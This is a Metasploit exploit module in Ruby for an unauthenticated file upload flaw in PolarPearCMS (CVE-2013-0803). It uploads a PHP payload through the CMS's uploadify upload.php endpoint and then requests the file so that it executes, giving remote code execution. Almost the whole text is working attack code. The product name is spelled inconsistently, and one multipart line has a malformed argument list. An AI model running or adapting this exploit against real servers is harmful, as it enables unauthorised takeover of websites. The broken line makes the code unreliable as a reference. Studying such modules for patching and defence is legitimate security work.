PolarPearCMS PHP File Upload Vulnerability



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::PhpEXE

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'PolarPearCms PHP File Upload Vulnerability',
            'Description'    => %q{
                    This module exploits a file upload vulnerability found in PlarPear CMS
                By abusing the upload.php file, a malicious user can upload a file to a temp
                directory without authentication, which results in arbitrary code execution.
            },
            'Author'         =>
                [
                    'Fady Mohamed Osman'  # @Fady_Osman
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2013-0803' ]
                ],
            'Payload'         =>
                {
                    'BadChars' => "\x00",
                },
            'Platform'       => 'php',
            'Arch'             => ARCH_PHP,
            'Targets'        =>
                [
                    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
                    [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jan 21 2012'))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The full URI path to Polarbearcms', '/polarbearcms']) ,
                OptString.new('UPLOADDIR', [true, 'The directory to upload to starting from web root. This should be writable', '/polarbearcms'])
            ], self.class)
    end

    def check
        uri =  target_uri.path

        res = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri(uri, 'includes', 'jquery.uploadify', 'upload.php')
        })

        if not res or res.code != 200
            return Exploit::CheckCode::Unknown
        end

        return Exploit::CheckCode::Appears
    end

    def exploit
        uri =  target_uri.path

        upload_dir = normalize_uri("#{datastore['UPLOADDIR']}/")

        peer = "#{rhost}:#{rport}"

        @payload_name = "#{rand_text_alpha(5)}.php"
        php_payload = get_write_exec_payload(:unlink_self=>true)

        data = Rex::MIME::Message.new
        data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
        data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/',, nil, nil, "form-data; name=\"folder\"")
        post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
        print_status("#{peer} - Uploading payload #{@payload_name}")
        res = send_request_cgi({
            'method' => 'POST',
            'uri'    => normalize_uri(uri, 'includes', 'jquery.uploadify', "upload.php?folder=#{upload_dir}"),
            'ctype'  => "multipart/form-data; boundary=#{data.bound}",
            'data'   => post_data
        })
        if not res or res.code != 200
            fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
        end

        upload_uri = "#{upload_dir}#{@payload_name}"
        print_status("#{peer} - Executing payload #{@payload_name}")
        res = send_request_raw({
            'uri'    => upload_uri,
            'method' => 'GET'
        })
    end
end